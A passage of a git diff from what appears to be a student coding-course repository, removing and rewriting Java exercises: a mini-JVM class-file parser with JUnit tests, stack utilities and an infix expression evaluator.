-			}
-		}
-	}
-
-	private ConstantPool parseConstantPool(ByteCodeIterator iter) {
-		String constantPoolSizeHex = iter.getNextHexString() + iter.getNextHexString();
-		//System.out.println("hex string: " + constantPoolSizeHex + " integer value: " + Integer.parseInt(constantPoolSizeHex, 16));
-		int constantCount = Integer.parseInt(constantPoolSizeHex, 16);
-		ConstantPool constantPool = new ConstantPool();
-		constantPool.addConstantInfo(new NullConstantInfo());
-		ConstantInfoFactory constantInfoFactory = new ConstantInfoFactory(iter, constantPool);
-		while(constantCount-- > 1){
-			try {
-				constantInfoFactory.fillNextConstantInfo();
-			} catch ( Exception e) {
-				// TODO Auto-generated catch block
-				e.printStackTrace();
-				break;
-			}
-			
-		}
-		
-//		for(int i = 0; i<constantPool.getSize(); i++){
-//			System.out.println("constant pool variable: " + i );
-//			ConstantInfo c = constantPool.getConstantInfo(i);
-//			System.out.println(c.getClass().getName());
-//		}
-		return constantPool;
-	}
-
-	
-}
diff --git a/group17/1282579502/src/com/coderising/jvm/method/InvalidMethodInfoException.java b/group17/1282579502/src/com/coderising/jvm/method/InvalidMethodInfoException.java
deleted file mode 100644
index f835f725db..0000000000
--- a/group17/1282579502/src/com/coderising/jvm/method/InvalidMethodInfoException.java
+++ /dev/null
@@ -1,7 +0,0 @@
-package com.coderising.jvm.method;
-
-public class InvalidMethodInfoException extends Exception{
-	public InvalidMethodInfoException(String message){
-		super(message);
-	}
-}
diff --git a/group17/1282579502/src/com/coderising/jvm/method/Method.java b/group17/1282579502/src/com/coderising/jvm/method/Method.java
deleted file mode 100644
index a7631f5228..0000000000
--- a/group17/1282579502/src/com/coderising/jvm/method/Method.java
+++ /dev/null
@@ -1,87 +0,0 @@
-package com.coderising.jvm.method;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.attr.AttributeInfo;
-import com.coderising.jvm.attr.CodeAttr;
-import com.coderising.jvm.attr.InvalidAttributeInfoException;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.UTF8Info;
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-
-
-public class Method {
-	
-	private int accessFlag;
-	private int nameIndex;
-	private int descriptorIndex;
-	
-	private CodeAttr codeAttr;
-	
-	private ClassFile clzFile;
-	
-	
-	public ClassFile getClzFile() {
-		return clzFile;
-	}
-
-	public int getNameIndex() {
-		return nameIndex;
-	}
-	public int getDescriptorIndex() {
-		return descriptorIndex;
-	}
-	
-	public CodeAttr getCodeAttr() {
-		return codeAttr;
-	}
-
-	public void setCodeAttr(CodeAttr code) {
-		this.codeAttr = code;
-	}
-
-	public Method(ClassFile clzFile,int accessFlag, int nameIndex, int descriptorIndex) {
-		this.clzFile = clzFile;
-		this.accessFlag = accessFlag;
-		this.nameIndex = nameIndex;
-		this.descriptorIndex = descriptorIndex;
-	}
-
-	
-	
-	
-	
-	public static Method parse(ClassFile clzFile, ByteCodeIterator iter) throws InvalidMethodInfoException{
-		
-		int accessFlagIndex = iter.getNextNBytesInteger(2);
-		int nameIndex = iter.getNextNBytesInteger(2);
-		int descriptorIndex = iter.getNextNBytesInteger(2);
-		int attributeCount = iter.getNextNBytesInteger(2);
-		System.out.println("access flag index: " + accessFlagIndex ); 
-		System.out.println("name Index: " + nameIndex + " name value: " + clzFile.getConstantPool().getUTF8String(nameIndex)); 
-		System.out.println("descriptor Index: " + descriptorIndex + " descriptor value: " + clzFile.getConstantPool().getUTF8String(descriptorIndex)); 
-		System.out.println("attributeCount: " + attributeCount ); 
-		Method m = new Method(clzFile, accessFlagIndex, nameIndex, descriptorIndex);
-		try{
-			AttributeInfo attr = AttributeInfo.parse(clzFile, iter);
-			if(attr instanceof CodeAttr){
-				System.out.println("set code attribute.");
-				m.setCodeAttr((CodeAttr)attr);
-			}
-			else{
-				throw new InvalidAttributeInfoException("unsupported attribute type. Current only CodeAttr supported");
-			}
-		}catch(Exception e){
-			e.printStackTrace();
-		}
-		
-		return m;
-		
-	}
-
-	@Override
-	public String toString() {
-		return "Method [accessFlag=" + accessFlag + ", nameIndex=" + nameIndex
-				+ " name val: " + clzFile.getConstantPool().getUTF8String(nameIndex) +", descriptorIndex=" + descriptorIndex +" desc val: " + clzFile.getConstantPool().getUTF8String(descriptorIndex) + "]";
-	}
-}
diff --git a/group17/1282579502/src/com/coderising/jvm/test/ByteCodeIteratorTest.java b/group17/1282579502/src/com/coderising/jvm/test/ByteCodeIteratorTest.java
deleted file mode 100644
index 05b44823f9..0000000000
--- a/group17/1282579502/src/com/coderising/jvm/test/ByteCodeIteratorTest.java
+++ /dev/null
@@ -1,51 +0,0 @@
-package com.coderising.jvm.test;
-
-import static org.junit.Assert.*;
-
-import org.junit.Before;
-import org.junit.Test;
-
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-public class ByteCodeIteratorTest {
-
-	ByteCodeIterator iter = null;
-	@Before
-	public void setUp() throws Exception {
-		byte[] source = new byte[]{127,2, 16, 10,11};
-		iter = new ByteCodeIterator(source);
-		
-		
-	}
-	
-	@Test
-	public void testPrintByteNumber(){
-		byte b = 21;
-		int c = 52;
-		ByteCodeIterator.printByteInNumber(b);
-		ByteCodeIterator.printByteInNumber((byte)c);
-		
-	}
-	
-	@Test
-	public void testGetNextByte() {
-		assertEquals("7f", iter.getNextHexString());
-		assertEquals("2", iter.getNextHexString());
-		assertEquals("10", iter.getNextHexString());
-	}
-
-	@Test
-	public void testGetNextNBytes() {
-		byte[] expected = new byte[]{127,2};
-		assertArrayEquals(expected, iter.getNextNBytes(2));
-		expected = new byte[]{16, 10,11};
-		assertArrayEquals(expected, iter.getNextNBytes(3));
-	}
-
-	@Test
-	public void testGetByteAt() {
-		byte exp = 10;
-		assertEquals(exp, iter.getByteAt(3));
-	}
-
-}
diff --git a/group17/1282579502/src/com/coderising/jvm/test/ClassFileloaderTest.java b/group17/1282579502/src/com/coderising/jvm/test/ClassFileloaderTest.java
old mode 100755
new mode 100644
index 85616f0735..4df3f4b529
--- a/group17/1282579502/src/com/coderising/jvm/test/ClassFileloaderTest.java
+++ b/group17/1282579502/src/com/coderising/jvm/test/ClassFileloaderTest.java
@@ -1,282 +1,103 @@
-package com.coderising.jvm.test;
-
-import java.util.List;
-
-import org.junit.After;
-import  org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.clz.ClassIndex;
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.MethodRefInfo;
-import com.coderising.jvm.constant.NameAndTypeInfo;
-import com.coderising.jvm.constant.UTF8Info;
-import com.coderising.jvm.field.Field;
-import com.coderising.jvm.loader.ClassFileLoader;
-import com.coderising.jvm.method.Method;
-
-
-
-
-
-public class ClassFileloaderTest {
-
-	
-	private static final String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
-	static String path1 = "/Users/erlisuo/Documents/workspace/codeRising2017working/1282579502/bin";
-	static String path3 = "C:\\Users\\liuxin\\git\\coding2017\\liuxin\\mini-jvm\\bin";
-	static String path2 = "C:\temp";
-	
-	static ClassFile clzFile = null;
-	static ClassFileLoader loader = null;
-	static {
-		loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		String className = "com.coderising.jvm.test.EmployeeV1";
-		
-		clzFile = loader.loadClass(className);
-		//clzFile.print();
-	}
-	
-	
-	@Before
-	public void setUp() throws Exception {		 
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-	
-	@Test
-	public void testClassPath(){		
-		
-		ClassFileLoader loader = new ClassFileLoader();
-		
-		loader.addClassPath(path1);
-		loader.addClassPath(path2);
-		
-		String clzPath = loader.getClassPath();
-		
-		Assert.assertEquals(path1+";"+path2,clzPath);
-		
-	}
-
-	@Test
-	public void testClassFileLength() {		
-		
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		
-		String className = "com.coderising.jvm.test.EmployeeV1";
-		
-		byte[] byteCodes = loader.readBinaryCode(className);
-		
-		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
-		Assert.assertEquals(1056, byteCodes.length);
-		
-	}
-	
-	
-    @Test	
-	public void testMagicNumber(){
-    	ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		String className = "com.coderising.jvm.test.EmployeeV1";
-		byte[] byteCodes = loader.readBinaryCode(className);
-		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
-		
-		
-		String acctualValue = this.byteToHexString(codes);
-		
-		Assert.assertEquals("cafebabe", acctualValue);
-	}
-    
-    
-    
-   	private String byteToHexString(byte[] codes ){
-   		StringBuffer buffer = new StringBuffer();
-   		for(int i=0;i<codes.length;i++){
-   			byte b = codes[i];
-   			int value = b & 0xFF;
-   			String strHex = Integer.toHexString(value);
-   			if(strHex.length()< 2){
-   				strHex = "0" + strHex;
-   			}		
-   			buffer.append(strHex);
-   		}
-   		return buffer.toString();
-   	}
-    
-    /**
-     * ----------------------------------------------------------------------
-     */
-
-    
-    @Test
-    public void testVersion(){    			
-		
-		Assert.assertEquals(0, clzFile.getMinorVersion());
-		Assert.assertEquals(52, clzFile.getMajorVersion());
-		
-    }
-    
-    @Test
-    public void testConstantPool(){
-    	
-
-		ConstantPool pool = clzFile.getConstantPool();
-		
-		Assert.assertEquals(53, pool.getSize());
-	
-		{
-			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(1);
-			Assert.assertEquals(2, clzInfo.getUtf8Index());
-			
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(2);
-			Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
-		}
-		{
-			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(3);
-			Assert.assertEquals(4, clzInfo.getUtf8Index());
-			
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(4);
-			Assert.assertEquals("java/lang/Object", utf8Info.getValue());
-		}
-		{
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(5);
-			Assert.assertEquals("name", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(6);
-			Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(7);
-			Assert.assertEquals("age", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(8);
-			Assert.assertEquals("I", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(9);
-			Assert.assertEquals("<init>", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(10);
-			Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(11);
-			Assert.assertEquals("Code", utf8Info.getValue());
-		}
-		
-		{
-			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(12);
-			Assert.assertEquals(3, methodRef.getClassInfoIndex());
-			Assert.assertEquals(13, methodRef.getNameAndTypeIndex());
-		}
-		
-		{
-			NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
-			Assert.assertEquals(9, nameAndType.getIndex1());
-			Assert.assertEquals(14, nameAndType.getIndex2());
-		}
-		//抽查几个吧
-		{
-			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(45);
-			Assert.assertEquals(1, methodRef.getClassInfoIndex());
-			Assert.assertEquals(46, methodRef.getNameAndTypeIndex());
-		}
-		
-		{
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(53);
-			Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
-		}
-    }
-    
-    @Test
-    public void testClassIndex(){
-    	
-    	ClassIndex clzIndex = clzFile.getClzIndex();
-    	ClassInfo thisClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
-    	ClassInfo superClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
-    	
-    	
-    	Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
-    	Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
-    }
-    
- 
-
-    
-    /**
-     * 下面是第三次JVM课应实现的测试用例
-     */
-    @Test
-    public void testReadFields(){
-   
-    	List<Field> fields = clzFile.getFields();
-    	Assert.assertEquals(2, fields.size());
-    	{
-    		Field f = fields.get(0);
-    		Assert.assertEquals("name:Ljava/lang/String;", f.toString());
-    	}
-    	{
-    		Field f = fields.get(1);
-    		Assert.assertEquals("age:I", f.toString());
-    	}
-    }
-    @Test
-    public void testMethods(){
-   
-    	List<Method> methods = clzFile.getMethods();
-    	ConstantPool pool = clzFile.getConstantPool();
-    	
-    	{
-    		Method m = methods.get(0);    		
-    		assertMethodEquals(pool,m,
-    				"<init>",
-    				"(Ljava/lang/String;I)V",
-    				"2ab7000c2a2bb5000f2a1cb50011b1");
-    		
-    	}
-    	{
-    		Method m = methods.get(1);    
-    		assertMethodEquals(pool,m,
-    				"setName",
-    				"(Ljava/lang/String;)V",
-    				"2a2bb5000fb1");
-    		
-    	}
-    	{
-    		Method m = methods.get(2);    
-    		assertMethodEquals(pool,m,
-    				"setAge",
-    				"(I)V",
-    				"2a1bb50011b1");
-    	}
-    	{
-    		Method m = methods.get(3); 
-    		assertMethodEquals(pool,m,
-    				"sayHello",
-    				"()V",
-    				"b2001c1222b60024b1");
-    		
-    	}
-    	{
-    		Method m = methods.get(4);    
-    		assertMethodEquals(pool,m,
-    				"main",
-    				"([Ljava/lang/String;)V",
-    				"bb000159122b101db7002d4c2bb6002fb1");
-    	}
-    }
-    
-    private void assertMethodEquals(ConstantPool pool,Method m , String expectedName, String expectedDesc,String expectedCode){
-    	String methodName = pool.getUTF8String(m.getNameIndex());
-		String methodDesc = pool.getUTF8String(m.getDescriptorIndex());    		
-		String code = m.getCodeAttr().getCode();
-		Assert.assertEquals(expectedName, methodName);
-		Assert.assertEquals(expectedDesc, methodDesc);
-		Assert.assertEquals(expectedCode, code);
-    }
-   
-}
+package com.coderising.jvm.test;
+
+import org.junit.After;
+import  org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coderising.jvm.loader.ClassFileLoader;
+
+
+
+
+
+public class ClassFileloaderTest {
+
+	
+	static String path1 = "C:\\Users\\liuxin\\git\\coding2017\\liuxin\\mini-jvm\\bin";
+	static String path2 = "C:\temp";
+	static String path3 = "/Users/erlisuo/Documents/workspace/codeRising2017working/1282579502/bin";
+	
+	
+	@Before
+	public void setUp() throws Exception {		 
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+	
+	@Test
+	public void testClassPath(){		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		loader.addClassPath(path2);
+		
+		String clzPath = loader.getClassPath();
+		
+		Assert.assertEquals(path1+";"+path2,clzPath);
+		
+	}
+	
+	@Test
+	public void testClassFileLength() {		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		loader.addClassPath(path2);
+		loader.addClassPath(path3);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		byte[] byteCodes = loader.readBinaryCode(className);
+		
+		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
+		Assert.assertEquals(1056, byteCodes.length);
+		
+	}
+	
+	
+    @Test	
+	public void testMagicNumber(){
+    	ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		loader.addClassPath(path3);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		byte[] byteCodes = loader.readBinaryCode(className);
+		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
+		
+		
+		String acctualValue = this.byteToHexString(codes);
+		
+		Assert.assertEquals("cafebabe", acctualValue);
+	}
+    
+    
+    @Test
+    public void testToHexString(){
+    	byte b1 = 'a';
+    	byte b2 = 'b';
+    	System.out.println("Binary: " + Integer.toBinaryString(b1) + " decimal: " + Integer.toString(b1) + " hex: " + Integer.toHexString(b1));
+    	System.out.println("Binary: " + Integer.toBinaryString(b2) + " decimal: " + Integer.toString(b2) + " hex: " + Integer.toHexString(b2));
+
+    	byte[] bArray = new byte[]{b1, b2};
+    	System.out.println(byteToHexString(bArray));
+    }
+    
+    
+    
+	private String byteToHexString(byte[] codes ){
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<codes.length;i++){
+			byte b = codes[i];
+			int value = b & 0xFF;
+			String strHex = Integer.toHexString(value);
+			if(strHex.length()< 2){
+				strHex = "0" + strHex;
+			}		
+			buffer.append(strHex);
+		}
+		return buffer.toString();
+	}
+
+}
\ No newline at end of file
diff --git a/group17/1282579502/src/com/coderising/jvm/test/ClassFileloaderTest2.java b/group17/1282579502/src/com/coderising/jvm/test/ClassFileloaderTest2.java
deleted file mode 100644
index a0e42c0f0e..0000000000
--- a/group17/1282579502/src/com/coderising/jvm/test/ClassFileloaderTest2.java
+++ /dev/null
@@ -1,52 +0,0 @@
-package com.coderising.jvm.test;
-
-import java.util.List;
-
-import org.junit.After;
-import  org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.clz.ClassIndex;
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.MethodRefInfo;
-import com.coderising.jvm.constant.NameAndTypeInfo;
-import com.coderising.jvm.constant.UTF8Info;
-import com.coderising.jvm.field.Field;
-import com.coderising.jvm.loader.ClassFileLoader;
-import com.coderising.jvm.method.Method;
-
-
-
-
-
-public class ClassFileloaderTest2 {
-	
-	private static final String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
-	static String path1 = "/Users/erlisuo/Documents/workspace/codeRising2017working/1282579502/bin";
-	static String path3 = "C:\\Users\\liuxin\\git\\coding2017\\liuxin\\mini-jvm\\bin";
-	static String path2 = "C:\temp";
-	
-	static ClassFile clzFile = null;
-	static ClassFileLoader loader = null;
-	static {
-		loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		String className = "com.coderising.jvm.test.EmployeeV1";
-		
-		clzFile = loader.loadClass(className);
-		//clzFile.print();
-	}
-	
-	@Before
-	public void setUp() throws Exception {		 
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-	
-
-}
diff --git a/group17/1282579502/src/com/coderising/jvm/util/Util.java b/group17/1282579502/src/com/coderising/jvm/util/Util.java
deleted file mode 100755
index 0c4cc8c57c..0000000000
--- a/group17/1282579502/src/com/coderising/jvm/util/Util.java
+++ /dev/null
@@ -1,24 +0,0 @@
-package com.coderising.jvm.util;
-
-public class Util {
-	public static int byteToInt(byte[] codes){
-    	String s1 = byteToHexString(codes);
-    	return Integer.valueOf(s1, 16).intValue();
-    }
-    
-    
-    
-	public static String byteToHexString(byte[] codes ){
-		StringBuffer buffer = new StringBuffer();
-		for(int i=0;i<codes.length;i++){
-			byte b = codes[i];
-			int value = b & 0xFF;
-			String strHex = Integer.toHexString(value);
-			if(strHex.length()< 2){
-				strHex = "0" + strHex;
-			}		
-			buffer.append(strHex);
-		}
-		return buffer.toString();
-	}
-}
diff --git a/group17/1282579502/src/com/coding/basic/stack/Stack.java b/group17/1282579502/src/com/coding/basic/stack/Stack.java
deleted file mode 100755
index 55b7cb5ac5..0000000000
--- a/group17/1282579502/src/com/coding/basic/stack/Stack.java
+++ /dev/null
@@ -1,24 +0,0 @@
-package com.coding.basic.stack;
-
-import java.util.ArrayList;
-
-public class Stack {
-	private ArrayList elementData = new ArrayList();
-	
-	public void push(Object o){		
-	}
-	
-	public Object pop(){
-		return null;
-	}
-	
-	public Object peek(){
-		return null;
-	}
-	public boolean isEmpty(){
-		return false;
-	}
-	public int size(){
-		return -1;
-	}
-}
diff --git a/group17/1282579502/src/com/coding/basic/stack/StackUtil.java b/group17/1282579502/src/com/coding/basic/stack/StackUtil.java
deleted file mode 100755
index 7d0d1d9a9b..0000000000
--- a/group17/1282579502/src/com/coding/basic/stack/StackUtil.java
+++ /dev/null
@@ -1,109 +0,0 @@
-package com.coding.basic.stack;
-
-import java.util.Objects;
-
-public class StackUtil {
-	
-	
-	/**
-	 * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
-	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
-	 */
-	public static void reverse(Stack s) {
-		if(s == null) return;
-		Stack newStack = new Stack();
-		while(!s.isEmpty()){
-			newStack.push(s.pop());
-		}
-		s = newStack;
-	}
-
-	/**
-	 * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
-	 * 
-	 * @param o
-	 */
-	public static void remove(Stack s,Object o) {
-		if(s == null || o == null) return;
-		Stack newStack = new Stack();
-		while(!s.isEmpty()){
-			Object tmp = s.pop();
-			if( Objects.equals(o, tmp) ){
-				break;
-			}
-			newStack.push(tmp);
-		}
-		while(!newStack.isEmpty()){
-			s.push(newStack.pop());
-		}
-	}
-
-	/**
-	 * 从栈顶取得len个元素, 原来的栈中元素保持不变
-	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
-	 * @param len
-	 * @return
-	 */
-	public static Object[] getTop(Stack s,int len) {
-		return null;
-	}
-	/**
-	 * 字符串s 可能包含这些字符：  ( ) [ ] { }, a,b,c... x,yz
-	 * 使用堆栈检查字符串s中的括号是不是成对出现的。
-	 * 例如s = "([e{d}f])" , 则该字符串中的括号是成对出现， 该方法返回true
-	 * 如果 s = "([b{x]y})", 则该字符串中的括号不是成对出现的， 该方法返回false;
-	 * @param s
-	 * @return
-	 */
-	public static boolean isValidPairs(String s){
-		if(s == null) return false;
-		
-		Stack bracketStack = new Stack();
-		int i = 0;
-		while(i<s.length()){
-			if(s.charAt(i) == '('){
-				bracketStack.push('(');
-			}
-			else if(s.charAt(i) == ')'){
-				if((char)bracketStack.peek() == '('){
-					bracketStack.pop();
-				}
-				else{
-					return false;
-				}
-			}
-			else if(s.charAt(i) == '['){
-				bracketStack.push('[');
-			}
-			else if(s.charAt(i) == ']'){
-				if((char)bracketStack.peek() == ']'){
-					bracketStack.pop();
-				}
-				else{
-					return false;
-				}
-			}
-			else if(s.charAt(i) == '{'){
-				bracketStack.push('{');
-			}
-			else if(s.charAt(i) == '}'){
-				if((char)bracketStack.peek() == '}'){
-					bracketStack.pop();
-				}
-				else{
-					return false;
-				}
-			}
-			else {
-				
-			}
-			i++;
-		}
-		if(bracketStack.isEmpty()){
-			return true;
-		}
-		return false;
-	}
-	
-	
-}
diff --git a/group17/1282579502/src/com/coding/basic/stack/expr/InfixExpr.java b/group17/1282579502/src/com/coding/basic/stack/expr/InfixExpr.java
deleted file mode 100644
index 2d70a2ec02..0000000000
--- a/group17/1282579502/src/com/coding/basic/stack/expr/InfixExpr.java
+++ /dev/null
@@ -1,184 +0,0 @@
-package com.coding.basic.stack.expr;
-
-import java.util.ArrayList;
-import java.util.HashMap;
-import java.util.Iterator;
-import java.util.List;
-import java.util.Map;
-import java.util.Stack;
-
-import javafx.util.converter.NumberStringConverter;
-
-public class InfixExpr {
-	String expr = null;
-	Map<Character, Integer> priorityMap = null;
-	List<String> exprTokens = null;
-	public InfixExpr(String expr) {
-		priorityMap = new HashMap<Character, Integer>();
-		init();
-		this.expr = expr;
-		exprTokens = parse();
-	}
-	
-	public void init(){
-		priorityMap.put('+', 0);
-		priorityMap.put('-', 0);
-		priorityMap.put('*', 1);
-		priorityMap.put('/', 1);
-	}
-
-	public float evaluate() {		
-		Stack<Character> operatorStack = new Stack<>();
-		Stack<Float> operandStack = new Stack<>();
-		
-		Float operandOne, operandTwo;
-		
-		int index = 0;
-		
-		while(index < exprTokens.size()){
-			String cc = exprTokens.get(index);
-			try{
-				if(isFloat(cc)){
-					System.out.println("push operand: " + cc);
-					operandStack.push(Float.parseFloat(cc));
-					System.out.println("peek: " + operandStack.peek());
-					
-				}
-				else if(priorityMap.get(cc.charAt(0)) != null){
-					char c = cc.charAt(0);
-					if(operatorStack.isEmpty()){
-						System.out.println("push operator: " + cc);
-						operatorStack.push(c);
-					}
-					else{
-						int preOperatorPriority = getPriority(operatorStack.peek());
-						int curOperatorPriority = getPriority(c);
-						if(curOperatorPriority <= preOperatorPriority){
-							//do precalculation first
-							operandTwo = operandStack.pop();
-							operandOne = operandStack.pop();
-							char operator = operatorStack.pop();
-							float result = doCalculation(operandOne, operandTwo, operator);
-							
-							operandStack.push(result);
-							operatorStack.push(c);
-						}
-						else{
-							System.out.println("push operator: " + cc);
-							operatorStack.push(c);
-						}
-					}
-				}
-				else{
-					throw new Exception("Unsupported character: " + cc);
-				}
-			}
-			catch(Exception e){
-				e.printStackTrace();
-			}
-			index ++;
-		}
-		System.out.println("dumpping operator stack:");
-		dumpStack(operatorStack);
-		System.out.println("dumpping operand stack:");
-		dumpStack(operandStack);
-		try{
-			while(!operatorStack.isEmpty()){
-				operandTwo = operandStack.pop();
-				operandOne = operandStack.pop();
-				char operator = operatorStack.pop();
-				float result = doCalculation(operandOne, operandTwo, operator);
-				
-				operandStack.push(result);
-			}
-		}catch(Exception e){
-			e.printStackTrace();
-		}
-		
-		if(operandStack.size() > 1){
-			System.err.println("More than one result reminded in operands stack.");
-		}
-		return operandStack.pop();
-	}
-	
-	private float doCalculation(float operandOne, float operandTwo, char operator) throws Exception{
-		System.out.println("operand 1: " + operandOne + " operand 2: " + operandTwo + " operator: " + operator);
-		float result = 0f;
-		if(operator == '+'){
-			result = operandOne + operandTwo;
-		}
-		else if(operator == '-'){
-			result =  operandOne - operandTwo;
-		}
-		else if(operator == '*'){
-			result =  operandOne * operandTwo;
-		}
-		else if(operator == '/'){
-			result =  operandOne / operandTwo;
-		}
-		else{
-			throw new Exception("Unsupported operator");
-		}
-		System.out.println("result: " + result);
-		return result;
-	}
-	
-	private int getPriority(Character c){
-		return priorityMap.get(c);
-	}
-	
-	private boolean isFloat(String v){
-		try{
-			Float.parseFloat(v);
-			return true;
-		}
-		catch(Exception e){
-			return false;
-		}
-	}
-
-	private List<String> parse(){
-		List<String> vals = new ArrayList<>();
-		int p1 = 0;
-		int p2 = 1;
-		while(p2<expr.length()){
-			char c1 = expr.charAt(p1);
-			char c2 = expr.charAt(p2);
-			if(! Character.isDigit(c2)){
-				//current is operator
-				vals.add(expr.substring(p1,p2));
-				vals.add(String.valueOf(c2));
-			
-				p2++;
-				p1 = p2;
-				
-			}
-			else{
-				p2++;
-			}
-		}
-		
-		if(p1<expr.length()){
-			//System.out.println("p1 = " + p1 + " char = " + expr.charAt(p1));
-			vals.add(expr.substring(p1));
-		}
-		dumpArray(vals);
-		return vals;
-	}
-	
-	private void dumpArray(List<String> l){
-		for(int i =0; i<l.size(); i++){
-			System.out.print(l.get(i) + " ");
-		}
-		System.out.println();
-	}
-	
-	private void dumpStack(Stack s){
-		Iterator itr = s.iterator();
-		while(itr.hasNext()){
-			System.out.print(itr.next()+" ");
-		}
-		System.out.println();
-	}
-	
-}
diff --git a/group17/1282579502/src/com/coding/basic/stack/expr/InfixExprTest.java b/group17/1282579502/src/com/coding/basic/stack/expr/InfixExprTest.java
deleted file mode 100644
index d468465974..0000000000
--- a/group17/1282579502/src/com/coding/basic/stack/expr/InfixExprTest.java
+++ /dev/null
@@ -1,60 +0,0 @@
-package com.coding.basic.stack.expr;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-
-public class InfixExprTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testEvaluate() {
-		
-		
-		//InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
-		
-	
-		{
-			InfixExpr expr = new InfixExpr("2+5");
-			Assert.assertEquals(7.0, expr.evaluate(), 0.001f);
-		}
-		
-		{
-			InfixExpr expr = new InfixExpr("2+3*4+5");
-			Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
-		}
-		{
-			System.out.println();
-			InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
-			Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
-			System.out.println();
-		}
-		
-		{	
-			InfixExpr expr = new InfixExpr("3*20/2");
-			Assert.assertEquals(30, expr.evaluate(), 0.001f);
-		}
-		
-		{
-			InfixExpr expr = new InfixExpr("20/2*3");
-			Assert.assertEquals(30, expr.evaluate(), 0.001f);
-		}
-		
-		{
-			InfixExpr expr = new InfixExpr("10-30+50");
-			Assert.assertEquals(30, expr.evaluate(), 0.001f);
-		}
-		
-		
-	}
-
-}
diff --git a/group17/785396327/2.26/list/ArrayList.java b/group17/785396327/2.26/list/ArrayList.java
index dcdc1264b0..119079f7ce 100644
--- a/group17/785396327/2.26/list/ArrayList.java
+++ b/group17/785396327/2.26/list/ArrayList.java
@@ -1,7 +1,5 @@
 package list;
 
-import org.junit.Test;
-
 import java.util.Arrays;
 import java.util.NoSuchElementException;
 
@@ -36,12 +34,12 @@ public boolean add(T ele) {
     }
 
     public T get(int index) {
-        checkBounds(index, false);
+        checkBounds(index);
         return (T) elementData[index];
     }
 
     public T remove(int index) {
-        checkBounds(index, false);
+        checkBounds(index);
         T removeEle = (T) elementData[index];
         System.arraycopy(elementData, index + 1, elementData, index, size - index);
         size--;
@@ -49,7 +47,7 @@ public T remove(int index) {
     }
 
     public boolean add(int index, T ele) {
-        checkBounds(index, true);
